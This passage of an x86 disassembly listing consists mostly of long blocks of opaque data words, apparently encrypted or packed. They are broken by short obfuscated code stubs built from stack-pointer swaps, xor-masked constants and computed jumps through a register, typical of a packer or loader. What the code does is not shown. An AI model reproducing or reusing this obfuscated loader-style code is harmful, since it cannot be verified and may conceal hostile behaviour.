		dd 0CA510299h, 311C9FB0h, 51BCB0CBh, 0BB5C102Bh, 9FE51CCBh
		dd 0C5EB86F3h, 73F589E2h, 58F24B7Ch, 76000000h,	0FB7A792Ch
		dd 46ADBC62h, 9943233Ch, 0FFACE3E6h, 986CAE84h,	0C5A6BF42h
		dd 7C534CFAh, 6CAE375Fh, 0D684AAF8h, 32D72C03h,	0F348195Ch
		dd 0F6BF6DB1h, 62F8F489h, 0EDEEABB1h, 7D6CAE4Ah, 8867FA2Dh
		dd 4B11DD6Eh, 3DB1E4A8h, 4AC4612Ch, 11436CAEh, 0C04396h
		dd 2CED0000h, 0ED79F674h, 5B1237D7h, 70AE8994h,	9C428B62h
		dd 39C03ACDh, 0B8C3B3ACh, 0E77886AFh, 5BA25D0Fh, 727ED9EFh
		dd 5A6B8A99h, 0C06BF84Dh, 0A04C7298h, 730E6B3Ah, 0C236E973h
		dd 0BBE5A118h, 5D035D2Fh, 3D4EB491h, 5A25362Ch,	139F9F8Bh
		dd 1E644F60h, 3224610Dh, 78727F3Dh, 9B866E03h, 0CD27CF62h
		dd 719FA027h, 1B6D05EEh, 0C3B76ACCh, 8497ED24h,	0AE6E9423h
		dd 5367D2FBh, 6E2AEA95h, 77826170h, 0A35C0EE6h,	0B34215A4h
		dd 7F7FFF1Ch, 0FBCA9872h, 727F7FDAh, 1526507Dh,	4E51BC67h
		dd 0C97856EFh, 0EF0815B8h, 0DD8F7856h, 0A0DA472Fh, 18EEE78Fh
		dd 0AF237DCDh, 5DF0F7DAh, 0C5977E2Eh, 56198AE2h, 850B0887h
		dd 0DE8C6CAEh, 0AE84E6F7h, 334C616Ch, 85B7681Eh, 2F02D7CBh
		dd 35B7BFD2h, 41AC7F0Ah, 93492538h, 0F402E5E0h,	0D7857285h
		dd 0B7C8321Fh, 48E31974h, 7E9C19A4h, 32D3DA87h,	0F7A8BF3Fh
		dd 0CB31F037h, 0E61C77B0h, 43BC9955h, 0FB4F462Eh, 3FBAA92Ch
		dd 0FBA4462Eh, 0F6314AB0h, 1ACA659Fh, 16C3h, 0C43D3000h
		dd 19AEF6A9h, 0AD0AD5FDh, 0CBF4F6C6h, 6E949B2Eh, 457A22DDh
		dd 0DB462E3Dh, 7BE68EA1h, 98856900h, 3A27CF5Ch,	65C0ACC1h
		dd 84610D20h, 230EE67Bh, 4CA945D4h, 0B2551932h,	51E68956h
		dd 4B9h, 59CE0100h, 8704EE83h, 685C2434h, 4492h, 68241489h
		dd 550Dh, 56240489h, 0A4789ABEh, 7154BA4Fh, 0CA810E80h
		dd 16906A31h, 2386E281h, 0EA812453h, 4DDD2C87h,	545EF201h
		dd 8124048Bh, 4C4h, 0D3895300h,	8BA52h,	0C2010000h, 5B5A1A89h
		dd 5024048Bh, 405E089h,	5000000h, 4, 5C240487h,	5124148Bh
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFA07A7h, 6E8A53C0h
		dd 740CB8EAh, 0C50305D7h, 6F9EE0FFh, 7E2D757Fh,	0B111367Eh
		dd 0D71B212Ah, 9933199Bh, 0F80A1CB0h, 283F576Ah, 0F26447ADh
		dd 648119F3h, 5C403A89h, 5CA57C87h, 4A427FF4h, 3BC7C58h
		dd 0E9042DD1h, 8441065Fh, 237F6D2Eh, 9CCA308Fh,	5E091765h
		dd 4BFF104Dh, 45936488h, 0E2F06E17h, 131A4CE4h,	7F386F49h
		dd 72932D30h, 495B5DD4h, 8D8D74C3h, 5D775F2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 78C35040h, 6CCE8051h
		dd 10218D89h, 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 7FA2FDC3h, 0E231A7A5h, 0AE84492h
		dd 0E4000000h, 3477C081h, 0F69095AFh, 70BA66DBh, 8D295862h
		dd 5D11DF9h, 1C0985C7h,	5A8405D1h, 9E90000h, 0A7000000h
		dd 175D23C6h, 0A115614Eh, 67985C7h, 5D1h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 98AAEC3h, 0D11D6995h, 0D9B5FF05h, 6A05D106h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3B39C356h, 95FFF754h, 5D10EDDh, 6E9h, 8EA13E00h, 6A604A62h
		dd 5995FF00h, 8B05D124h, 540CEBC0h, 3C6DD081h, 0BC30F84Eh
		dd 0EB557F12h, 0B81BF404h, 549E96Ah, 2F4B0000h,	4AB49F18h
		dd 609FF631h, 7A87EEC9h, 94E9C4E7h, 18473EF9h, 0A7001D66h
		dd 801B304Ch, 0FC3F4EB5h, 0D7D06B91h, 0A8B518A9h, 2F66D70Eh
		dd 3F45BCF8h, 0AAB9402Ch, 1E053E4Fh, 586F48E5h,	0EE91ACD5h
		dd 5F223D47h, 8514018Ch, 0E1B36CAEh, 0B1CB363Eh, 0D78598E1h
		dd 0ABC4321Fh, 122D4BA6h, 659E7B61h, 0BF3924C8h, 0B1AC0ACh
		dd 0F1915DECh, 2EE5097h, 5AA06184h, 45293EBEh, 0DB89A2D8h
		dd 0AFC92435h, 0D06B919Ch, 4954E1Ch, 60BBD229h,	0D620EE15h
		dd 0C3A3BC3Ah, 0A9456B19h, 74E61D10h, 0AE853C59h, 0DB89DB6Ch
		dd 1333D90Bh, 2FE2334Bh, 0B3C83479h, 0C259A580h, 0A6B9C722h
		dd 7A1563CEh, 32F5C56Ah, 72B5358Ch, 0F63148B3h,	1ACA659Fh
		dd 0ADA67B9Fh, 0CDBAB6Ch, 4EE8B7D7h, 79BC51h, 0F1ED0000h
		dd 0F34120E9h, 65F60C3Ah
		dd 45A08CB7h, 0B9402C3Fh, 334CAAh, 0AE849685h, 0C9629C6Ch
		dd 0AFBC3825h, 87BADC7h, 1E1964ABh, 46F82F9Bh, 5FC265F5h
		dd 0C414018Ch, 0E1B36CADh, 5418314Ch, 2A44ED96h, 0F514ECBh
		dd 1, 203B4523h, 8497E14Ch, 59F40DE8h, 324FA895h, 0EDADD732h
		dd 1FD78598h, 0D1DF0678h, 36962CF8h, 0C4AC52EDh, 94E223C2h
		dd 0AFD520FBh, 45311B9Ch, 92830E40h, 356CAE84h,	1E3F9267h
		dd 0B96CAE85h, 0CC29C5EBh, 22D599B2h, 275C9550h, 40BA910Ah
		dd 9BDA472Fh, 0A0A3E282h, 4BE41211h, 0AE85597Ah, 0F3ACFE6Ch
		dd 0AF3FF433h, 94514E0Ch, 84h, 91E5ED5h, 50DC8765h, 24524045h
		dd 0D3815B0Bh, 0B6C73613h, 0A47716BEh, 849DBE15h, 683A6CAEh
		dd 0AE847865h, 924D1F6Ch, 0E71CD510h, 0CB26514Ah, 0B8E39CABh
		dd 76F7A643h, 0DDF7A035h, 0AE81E5F6h, 230626Ch,	8243507Fh
		dd 96C46CAEh, 0D8210CE0h, 0FCA2BB3Ah, 0CE19B1F0h, 4E0F8915h
		dd 3C4E51h, 45E20000h, 0E4412D40h, 89E08C9Dh, 0D62FE601h
		dd 0A8E7B6BBh, 6CAE84ABh, 54457E2Ch, 99AECE25h,	0C06C17D5h
		dd 225F3B45h, 895590Fh,	6CAE8508h, 447FA638h, 514E0A2Ah
		dd 10Fh, 3A452300h, 9CE64323h, 1492E383h, 16BD4CD1h, 6CAE8505h
		dd 3E51AF82h, 0DD86B436h, 95162756h, 740579D7h,	192E4EA5h
		dd 0E1EC9755h, 727F8FD9h, 0EC20578Fh, 3437D0B2h, 47FDE59Bh
		dd 50036B07h, 0DF3A2A78h, 66118AA5h, 334417Ch, 0DBB112B5h
		dd 791DBBFDh, 0D75E014Bh, 60CF92ADh, 905C0714h,	7F9F0615h
		dd 3AD62C72h, 0F1FDA3BCh, 9D51EA14h, 61766CFh, 5493176Eh
		dd 0AC7BCFE2h, 0BB7C0F75h, 5D112A50h, 748E8AF0h, 963935DBh
		dd 5AF70CE3h, 8830383Ch, 0AE511D5Fh, 0F208C91Ch, 59755E59h
		dd 5E4B7C0Dh, 147h, 7E742CD2h, 0B46D736Bh, 5FAAC7D9h, 0C2EEA5A4h
		dd 0B4727EC6h, 462E3DB9h, 4F1DFBA4h, 2F40BAA7h,	0C05BA18Ch
		dd 0A0BBC12Ch, 31A61CCh, 0E37C8663h, 0CB1A6C03h, 0E5007275h
		dd 0B445D62Ch, 339ECD4Eh, 74803093h, 0AF5D0FE7h, 0B4CA23F4h
		dd 0BC4B7D7Ch, 1EB5A6EDh, 4408727Fh, 0A9F33484h, 0E277555h
		dd 0AEA659EEh, 4Fh, 26792C42h, 0AE856A6Bh, 0B6C0ED6Ch
		dd 30C1F7A5h, 0AE84D09Dh, 50AB866Ch, 64618339h,	8F594FE5h
		dd 0BEB6E4D4h, 0ADBBE2F3h, 520726Ch, 0EFF2F0A5h, 6110265Ch
		dd 9A8092DCh, 0BD5112F9h, 87F66CADh, 0ADBD0B08h, 28DE8C6Ch
		dd 91588Fh, 2CD40000h, 66F50174h, 0D69EB1CFh, 3C936614h
		dd 727F98D4h, 2D1F5E73h, 7F987566h, 92401272h, 1DD16893h
		dd 68D5994Fh, 57BE7912h, 0E04F122Dh, 12DA8596h,	7F998197h
		dd 0C5942772h, 7F99CDCEh, 67184A72h, 3B4180A7h,	21F08720h
		dd 7F9A7162h, 9B441672h, 5E239FF9h, 2512EB24h, 0EB9497D6h
		dd 29A5B11Ch, 70227857h, 0D06B917Ch, 45D22201h,	645ABBA9h
		dd 2EB85EBCh, 0B1CC3578h, 0DCEFE68Eh, 6F102B51h, 6820885Fh
		dd 2C28676Ah, 0AB7E2E25h, 2CD63EF9h, 846B7E74h,	3732ED7Eh
		dd 85FA7C98h, 0A5491B72h, 8E2942B8h, 0C9783FBh,	0A44FFA93h
		dd 124AB0FBh, 85DA9EBFh, 666B3972h, 85DB2A2Bh, 0C9FFAD72h
		dd 3AEF9825h, 680E1F5h,	3CDC26DFh, 23B9B5C6h, 2953BA7Dh
		dd 902C935h, 3DEB1F8h, 0F5649182h, 0B66436E1h, 0B2653BEh
		dd 967EFE5Bh, 4913D36Ch, 0E6ECB9Bh, 0FBCD7579h,	0BB0F8A2Ch
		dd 0FA7AE96Ch, 38DB816Dh, 6574077Dh, 0BDB748Eh,	260DAE51h
		dd 0BAA343DCh, 3, 45190BF6h, 0DB462E3Dh, 7BE68EA1h, 98856900h
		dd 3A27CF5Ch, 65C0ACC1h, 84610D20h, 230EE67Bh, 4CA945D4h
		dd 0B2551932h, 81E18951h, 4C1h,	4E98300h, 5C240C87h, 50243489h
		dd 405E089h, 2D000000h,	4, 5C240487h, 68243C89h, 6EE8h
		dd 53240C89h, 12161CBBh, 43D3F77Ah, 1198E381h, 0EB814292h
		dd 0FAA88B72h, 545BDF89h, 83240C8Bh, 0F36804C4h, 8900003Eh
		dd 418F243Ch, 2434FF08h, 4C48359h, 5F2434FFh, 0E904C483h
		dd 0FFFA00EBh, 0F239826Bh, 0B8BA0A64h, 5D77AE4h, 0E0FFC503h
		dd 3F1C8625h, 3E8556DEh, 5BBC6C7Fh, 0C26D781h, 7774D5C9h
		dd 2DC81AEEh, 6EAB1E5Dh, 85B4474h, 6FDF0114h, 1F09B247h
		dd 5EFBC36Dh, 793304EBh, 0B6E941E2h, 0D2000004h, 3F1691A6h
		dd 260DAEC1h, 0E6546D7h, 705B5CF1h, 0CEB5760Bh,	0F994E9A1h
		dd 90A7D73Eh, 0B4C53C17h, 49E21873h, 3C93526Eh,	66D70A1Fh
		dd 19C56FB8h, 14A74EFDh, 5B04F564h, 0DD91AAD0h,	7E550B70h
		dd 6CADDF5Dh, 9DACD7FAh, 0B7650BD1h, 48E31974h,	2843B9A4h
		dd 1A3B9659h, 0BD6CADDFh, 0CD2834EFh, 69D498B3h, 95707C0Fh
		dd 0C71DD16Ch, 0DA4A6C48h, 2C9A567Eh, 0DDAB47F9h, 9EB1CB0Ah
		dd 0B2CB361Dh, 56E71279h, 4B43B39Eh, 806C122Dh,	84F37E31h
		dd 0B063F9F5h, 37EB76Eh, 0AC52E915h, 41DA200Bh,	5DF0E0ADh
		dd 4E206CAEh, 0D12F0297h, 0B34B6BEh, 4E318C22h,	726951h
		dd 458D0000h, 0D65D2C3Fh, 73DE96A7h, 0E8456B06h, 19C3FC8Dh
		dd 0AE847D9Ch, 0ADDAD6Ch, 4E0AB5C9h, 1B251h, 45B60000h
		dd 0E14C203Bh, 7EF58497h, 0A3496A03h, 57444B1Ah, 0F06CAE85h
		dd 85110281h, 0E4B66CAEh, 6F6C2336h, 0E86CAE85h, 659299BAh
		dd 0C33924C8h, 2259C4A8h, 0F2445B0Bh, 0E3E58D33h, 0D8738D44h
		dd 0FD8EF4DFh, 61FC01ECh, 0E74A7DBEh, 54D0839Eh, 412D4045h
		dd 0ED819AE4h, 28AD784Ah, 7FFC8932h, 1FC0A5F6h,	5952EF14h
		dd 7F770872h, 0DAE96392h, 6CAE3DB9h, 965E0C5Eh,	8AF17C0Fh
		dd 27FEC0F3h, 4E53E2ECh, 68A751h, 45BB0000h, 92830E40h
		dd 356CAE84h, 4DA0B167h, 0F225B37h, 1FD78567h, 6FCA924Dh
		dd 0CD757910h, 90F52CFBh, 84E2F3DEh, 0BF656CAEh, 11F2DC3h
		dd 4EE79558h, 99681E2Fh, 12D26B8Ah, 2F069748h, 4EABBBD6h
		dd 51501C31h, 0E9F52EF9h, 0AE514E41h, 54h, 2D404542h, 49B5B841h
		dd 0DF1A0132h, 4337A64Eh, 5186DA4h, 3B454AA2h, 0C781205Fh
		dd 6F9D47D0h, 34C5EB99h, 0F6A9C439h, 0ACAFA3EEh, 0F9F6CADh
		dd 8FEE45D8h, 4B74F6FEh, 4EE2CCE2h, 9FBEA451h, 435D7DC7h
		dd 0E4F1DCADh, 636CAE3Eh, 1760E31h, 0EA000000h,	43233A45h
		dd 0E3839CE6h, 10D11492h, 115354E5h, 0E7B6BB37h, 0AE84ABA8h
		dd 457E2C6Ch, 8FF30F82h, 0B994727Fh, 102D5644h,	14D88E5Ch
		dd 61CCA056h, 4CA7001Bh, 9BE6AD36h, 0B85FB51Ch,	0A7452942h
		dd 6623C3F1h, 72805F73h, 4FAF8235h, 0FFB63438h,	0F9C9EA85h
		dd 0F28DF72Eh, 97A8D239h, 770872DFh, 0D768927Fh, 0B5C2321Fh
		dd 0BF66D0B9h, 64CB7E79h, 0FC6E061Bh, 0ED24C3C3h, 0ED7CFB97h
		dd 72B55B01h, 7C2F8519h, 110624Bh, 2C860000h, 0A91DF674h
		dd 0A7483B73h, 85ADE0F1h, 0F3727F4Bh, 8468017Ch, 1BCB6299h
		dd 0C3CE9341h, 727F4BD2h, 9C7C2775h, 0C13B26CEh, 0DC260DAEh
		dd 3C46A343h, 4E245E23h, 1D2864Ch, 90472DD6h, 0B4CE07DEh
		dd 9737009Bh, 9C4B7D3Ch, 4Dh, 86973ACDh, 1727F5Eh, 2C84A053h
		dd 0A5740579h, 1A64344Eh, 0C9FF6D01h, 84FEAF16h, 0CB996CAEh
		dd 718F621Bh, 0BDDE25DEh, 4D6CAE84h, 37246B3Ah,	7D6CAE85h
		dd 0C4966A01h, 0CC5C8B1Bh, 79542599h, 6CAE85ACh, 0ABBE792Bh
		dd 76h,	7E742C85h, 98EC246Bh, 466B727Fh, 9D4F2738h, 0E01A07EFh
		dd 4CB7BA4Fh, 0BA91023Dh, 7A472F40h, 727F9A54h,	5CC164D2h
		dd 0E093AAD1h, 8B2C3F45h
		dd 116C8FC9h, 0C0F67478h, 150B9231h, 17D7857h, 0BE55B9D5h
		dd 55A35C87h, 78826F07h, 0D9220FE7h, 0CBBAA844h, 0FEFB2922h
		dd 0E37CFAABh, 0DB0A9C03h, 1BCA5C65h, 8D9D5B3h,	9E41DC25h
		dd 0AC61C4CBh, 0B4E67E2Eh, 742C1973h, 9D86B7Eh,	0AE8499BAh
		dd 0B36C3E6Ch, 8600D548h, 4C207272h, 27809BE1h,	0D4A5B6CCh
		dd 530C1F59h, 0FAA40C89h, 0FDCBB6BBh, 0FE91EB2Ah, 93ACD63Dh
		dd 740976D3h, 66810978h, 0E13A55AFh, 3525ACD6h,	3F0E2BDFh
		dd 4B740976h, 0F0819AE0h, 496A017Dh, 3BAA3h, 0BF60000h
		dd 2E3D4519h, 8EA1DB46h, 69007BE6h, 0CF5C9885h,	0ACC13A27h
		dd 0D2065C0h, 0E67B8461h, 45D4230Eh, 19324CA9h,	8952B255h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 242C895Ch, 57D568h
		dd 243C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		push	3A34542Eh
		pop	ebp
		xor	ebp, 3FE32FB9h
		push	ebp
		pop	edi
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	ebx
		mov	ebx, 3DA36758h
		mov	edx, 3DA36750h
		xor	edx, ebx
		pop	ebx
		add	edx, esi
		mov	[edx], edi
		pop	edx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		db 74h,	0B8h, 0Fh
; ---------------------------------------------------------------------------
		push	esp
		mov	eax, 5D77FBEh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 4F2Ah
		dd 99EE1ED6h, 3B781D7Bh, 0BF1E0BC7h, 3CEF38FAh,	92345E67h
		dd 92C74657h, 95BB2AA1h, 119B441Eh, 39137315h, 0C9E6565h
		dd 3566053Bh, 0EA4163E2h, 95C93FA3h, 5AAE3D09h,	45C668CEh
		dd 7FB43802h, 6ABF1747h, 0AABC42C7h, 7E93245Eh,	0EDFF3209h
		dd 4EB76EEh, 18F46D1Ah,	4F9E9h,	0F388F000h, 88A3DD38h
		dd 0A0B9C42Fh, 0BED32C07h, 50ED167Dh, 8FBFEC57h, 0F5C0DB76h
		dd 0D239F289h, 3E1596A7h, 7070ABC4h, 50112B1h, 518666D7h
		dd 2C3F45DBh, 8DA0E540h, 0A6B9C32Ah, 61963CEh, 0DA75836Eh
		dd 4DDE1817h, 5C2ACA92h, 19324889h, 3D4CB79Eh, 0D16893FAh
		dd 0B7C4301Dh, 142952BFh, 0EA81FD58h, 0B96C5AFAh, 816DFE78h
		dd 1AEC35DBh, 5EEF0ACBh, 730C765Dh, 85223673h, 0ED086CAEh
		dd 4AB5905Ch, 0C4423333h, 3A8C9F21h, 0A9628EBh,	6993514Eh
		dd 97000000h, 402C3F45h, 0AE855645h, 31F4466Ch,	4E0ADCF2h
		dd 1D951h, 195D0000h, 9C50ED0Ah, 84B5A6EDh, 526CAEh, 95A4D352h
		dd 393543EAh, 5DB0CD2Ah, 6CAE8540h, 0FE795C7h, 0B6BBD422h
		dd 412D3CBBh, 11FCF89Bh, 5E8455E8h, 0CB34B7A8h,	0EAF2AD48h
		dd 34A97C4Ah, 0F3ACBF39h, 2C3D4EA8h, 0CEA6B5C1h, 5BB2631Ch
		dd 47AD0E21h, 412D4045h, 0F0819AE4h, 0B768037Dh, 0F07F0AADh
		dd 0DDFED58Bh, 7A6CAE84h, 49597A28h, 31E679Eh, 24374DA8h
		dd 0FB92ED48h, 12FC7BF6h, 0C29854E9h, 0E98A501Ch, 0E1048203h
		dd 0F08BF17Ch, 53EA11FCh, 25A9F2ADh, 0E2514E0Ch, 82h, 9CADD45Bh
		dd 78EC0AD0h, 738E2806h, 45171DC6h, 0B8412D40h,	0EC6FD842h
		dd 9B8A9A62h, 4426CE61h, 0AB65909Bh, 0A832324Dh, 7C4AEAFAh
		dd 7E1368A9h, 0E079846Bh, 38CBFE3Fh, 0AE168895h, 0A25D0F6Ch
		dd 7EF82FBh, 748BEB46h,	0C1C83868h, 0D28DB335h,	53132E4Bh
		dd 0F231F452h, 514F05ECh, 3DA9h, 40454D00h, 8492830Eh
		dd 67356CAEh, 2950BDB1h, 8D7D5C10h, 0EC629B5Ah,	0AE84B4A1h
		dd 5301536Ch, 3B457C58h, 0B6BD4C20h, 8500334Ch,	6CAE8495h
		dd 31F23585h, 514E0A9Dh, 19Ah, 3A459E00h, 9CE64323h, 1492E383h
		dd 54E510D1h, 0BB371153h, 8FDF1BB6h, 2A78727Fh,	0A9A5DF3Ah
		dd 7F8FF91Ah, 1ECC9E72h, 0F907EA9Dh, 51DC8E66h,	0C46F102Bh
		dd 0C4C1ADBEh, 727F8FD5h, 0B7CD2053h, 0FC2BFBA4h, 0BACBFC5h
		dd 0BF3EDA20h, 7624C6AEh, 63AAD063h, 310919Ch, 23E5FB6h
		dd 8BD97280h, 0DB210CE8h, 0BB0BAC40h, 3C4FB56Ch, 67979A2Dh
		dd 1E0FDD0h, 16677280h,	80019ABBh, 0B96F3D72h, 0A23C1586h
		dd 8A4B7C8Dh, 0DC7D4FBh, 12407280h, 15B6B61h, 2C8F0000h
		dd 63FA0174h, 161DACBDh, 0CD9F57E8h, 8484913Ch,	51036CAEh
		dd 9B0B27AEh, 0A18C727Fh, 5212C05Bh, 0F2D18DF7h, 727F9AE1h
		dd 0D48E3466h, 0D8B148D6h, 1ECFDA3h, 7DBE61FCh,	9353EC16h
		dd 33334CB6h, 66FB2A9Ch, 79DBF8D7h, 68D7280h, 72807A15h
		dd 0B2E0E0B2h, 0CF609A81h, 15EB83ECh, 5CC84B7Ch, 6C000000h
		dd 5FF00A19h, 3E4FAA97h, 0DD86B436h, 9968663Fh,	0AE85792Ah
		dd 715CEF6Ch, 6CAE8664h, 0A8EB1E3h, 0C099458h, 266CAE86h
		dd 43AE46D7h, 61482433h, 6E974E99h, 68BA2DD3h, 0BA386DBDh
		dd 864B18B7h, 9ECC6CAEh, 0C84A93CBh, 0DCE80CFCh, 7F6BB1A6h
		dd 0BC677793h, 9BEC7Bh,	19400000h, 0B619F0FDh, 17C8636Ch
		dd 0A2B72B65h, 7F44A3EFh, 7E762472h, 0D5D66993h, 0AC6384FEh
		dd 5EED0902h, 0CBB08920h, 528A8B06h, 5F0D727Fh,	0D6F8C5A9h
		dd 50727F53h, 7C863FE6h, 0B2B1C8E3h, 19304B49h,	649E7B6Bh
		dd 5A7A25CBh, 0D2F180FEh, 7856D469h, 55B0BCEEh,	61501C2Fh
		dd 35679F2Eh, 0C2567995h, 0C63421ACh, 81D37856h, 0B119CCDEh
		dd 0F75F8D7h, 0C584917Ch, 50AE7856h, 55B5373Fh,	0AD805107h
		dd 0B02A3A51h, 0F8F487FDh, 0E7B6B162h, 0A35CED08h, 2E46E358h
		dd 0F536647Eh, 7E742C9Fh, 0E8F5D86Bh, 6F6CAE84h, 84A2B31Eh
		dd 77256CAEh, 0FB90EC41h, 0BB4E71EBh, 8605AF14h, 6A7A2872h
		dd 0C1DA758Fh, 0F7FF90EAh, 0A9F0E2AAh, 9FACC88Fh, 7C116AD7h
		dd 2FF6D070h, 0CD20E189h, 8099E4B2h, 12487EECh,	49690EBBh
		dd 0C4C6F92Dh, 819AE021h, 0B66B9326h, 57444B08h, 0F08FAA68h
		dd 368374A2h, 89F3BA65h, 0E613FEF6h, 5C2A9B4Bh,	91324889h
		dd 9AC8DC22h, 0FD90F5F9h, 97456BF1h, 0A8C33914h, 3A5C4h
		dd 0B8F0000h, 2E3D4519h, 8EA1DB46h, 69007BE6h, 0CF5C9885h
		dd 0ACC13A27h, 0D2065C0h, 0E67B8461h, 45D4230Eh, 19324CA9h
		dd 8952B255h, 4C281E2h,	83000000h, 148704EAh, 24248B24h
		dd 18CB68h, 243C8900h, 24DF68h,	24348900h, 8904EC83h, 0C5B9240Ch
		dd 0BF66647Ch, 63B3FC70h, 5459CF31h, 8324348Bh,	0B95104C4h
		dd 8, 0B87E981h, 0F1016173h, 0B87C181h,	39896173h, 2434FF59h
		dd 4C4815Eh, 0FF000000h, 835F2434h, 94E904C4h, 5FFFF9F6h
		dd 86FD9ABh, 3EB8DB3Ch,	305D785h, 12E0FFC5h, 0E18BD3Ah
		dd 9F34CB21h, 0A56D743Ch, 7006613h, 0CF58140Fh,	1312C021h
		dd 727FB455h, 0F7745AE0h, 4739B3B8h, 9658E5F9h,	0FD46CD38h
		dd 2A429EC6h, 0D48B63Ah, 194AAD7Ah, 0A66F5459h,	0E1031A42h
		dd 4F65DA8Ah, 1F04DA73h, 0AF2DB6D9h, 1630D799h,	7608DF0h
		dd 0E65D0EBCh, 9E2E6708h, 0C31E72B5h, 374FE690h, 0D8201795h
		dd 44781FA6h, 8D7C2385h, 0D787048Dh, 89D98B05h,	0D110218Dh
		dd 0EB816605h, 85C7C786h, 5D11C09h, 6964h, 618126BEh, 7985C70Fh
		dd 5D106h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 7B7BC355h, 605E9786h, 11E9h, 0F2DFF600h
		dd 75B1F19Ah, 0EAEB1396h, 0B8C65A11h, 61FC5F61h, 1571B5FFh
		dd 6A05D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0FE4C5FC3h, 98504F4Ch, 0E960382Fh, 8, 45DCB42Dh
		dd 0C1BE2080h, 8B61FDB0h, 0D10C4995h, 0DD95FF05h, 6A05D10Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0D9B8C355h, 673A6DEEh, 232601F4h,	0D1138DB5h
		dd 0FF006A05h, 0D1245995h, 0EBC08B05h, 393E893Ah, 58EDDDC6h
		dd 8BF2560Bh, 84CA50F1h, 0C9340971h, 0BC392FBh,	0BA485C93h
		dd 2B8AFE62h, 1EC2B1D4h, 0D5874DF1h, 9C092921h,	6AF1E5E1h
		dd 1BA806C0h, 0AEF4DE18h, 0EB968ACBh, 970D2C04h, 533E943h
		dd 0EF0B0000h, 0A745F58h, 205FB671h, 3A47AE09h,	54A98427h
		dd 5807FE39h, 6740DD26h, 405BF00Ch, 0BC7F0E75h,	97102B51h
		dd 687558E9h, 0EF66D6FEh, 3F457C38h, 871F4DA4h,	1FCDB7C9h
		dd 4FB4BB4Ah, 25A83232h, 6CAD9138h, 94740972h, 0EA571DC6h
		dd 0D03BFC91h, 6DC091AAh, 9C587B12h, 3C304BB1h,	0D894A7D1h
		dd 8569047Dh, 22C25F98h, 44FA2D7Dh, 960BDAACh, 27CF629Bh
		dd 69939A45h, 83FED5D6h, 1CD06B95h, 341F984Eh, 9B0BCCDh
		dd 914A4B46h, 9FCD6CADh, 2E3DB9E4h, 8FA2DB46h, 6F007AE7h
		dd 479ED087h, 875E28F1h, 4F4C4312h, 0C86CAD91h,	0DD6C8B9Ah
		dd 69007B22h, 7D1D674Eh, 14A2FC07h, 0DD350FE2h,	0F7A5472Fh
		dd 279EB2FFh, 3C8E6CAEh, 67942AE9h, 6D91514Eh, 95000000h
		dd 26533F45h, 0C89650Bh, 6CAE850Dh, 0C73CDE27h,	7220BAAAh
		dd 0D4226072h, 6EB0B26Ah, 0C2A2BDC7h, 348A5D2Dh, 9F549363h
		dd 514E99FFh, 34208DE9h
		dd 88678406h, 73A92437h, 0A7EAA0E5h, 6CADECB6h,	0A25D0351h
		dd 1AAh, 3B454E00h, 97E14C20h, 0F40DE884h, 0A844D926h
		dd 0F67D0C32h, 25CFF08Dh, 25DC0B7Dh, 0C6740DBh,	6A4265F6h
		dd 412D4045h, 0ED819AE4h, 74AD784Ah, 52B9720Fh,	7E136828h
		dd 0AEE5F476h, 6CAE84ADh, 9A4A782Ah, 452940BFh,	0D81BCA7Ch
		dd 514E0CD6h, 0EEB3h, 4045B700h, 0EC0A2352h, 1C95D4EBh
		dd 0FD8CB2DCh, 78740976h, 1A3543E2h, 67967379h,	5D7003D6h
		dd 6CAE2340h, 2EA95C7h,	0BD10A362h, 6CAE22A0h, 12D26B8Ah
		dd 1F654848h, 0D4FA600Ch, 2A67F6AEh, 0F0A33DEDh, 0C53EF72Eh
		dd 0DF240FA8h, 22312261h, 0FB7B6CAEh, 0E6DA806Ch, 7CF386B4h
		dd 50EB1103h, 5418CE9Ch, 21FD1EB5h, 0C89A6CAEh,	5B78571Ah
		dd 0FC6CAE22h, 5EEFF5AEh, 2213008Fh, 0E6B46CAEh, 7409763Dh
		dd 56913978h, 78116CC3h, 64CDF674h, 514E6F5Ah, 0A9C03F32h
		dd 2DF927C5h, 9DE40D6Bh, 695329CAh, 0D7000000h,	5CF10A19h
		dd 229CA90h, 0F18864F9h, 0F380785h, 8BB48542h, 2CC059A0h
		dd 0D80BAC1h, 6CAD9110h, 3F37E5B7h, 0DF97A8D2h,	199F4638h
		dd 6B26E998h, 6CAD916Ah, 284BFEDh, 0B047EE3h, 7A7605EDh
		dd 9BE04B74h, 45CF2586h, 0BD8BA83Bh, 0A19D704Dh, 6D13C15Ch
		dd 0B5140481h, 0B2046CADh, 0DA1EB073h, 11B514Eh, 1F000000h
		dd 728DFD19h, 1E8600D5h, 0AEBF3E65h, 0D32807C6h, 0B34B6BEh
		dd 0C33EDA20h, 7EF584AAh, 52806C01h, 48A48300h,	0A15200A3h
		dd 0E8BBCABBh, 0AE47B8A5h, 520D5F6Ch, 215C9550h, 732DAF08h
		dd 8A5AF700h, 7FD05D58h, 42AACE0h, 0F40C8356h, 93727F00h
		dd 0BAC02DC1h, 790DC129h, 27D5AAFDh, 0C089F584h, 0CDD9BE85h
		dd 53A9F4AFh, 6A693438h, 0CC727EB3h, 106AAB7Ah,	7A876A7Fh
		dd 0A25D0FE7h, 4FE01A71h, 2F40BAA7h, 7DE9047h, 9BB4CEh
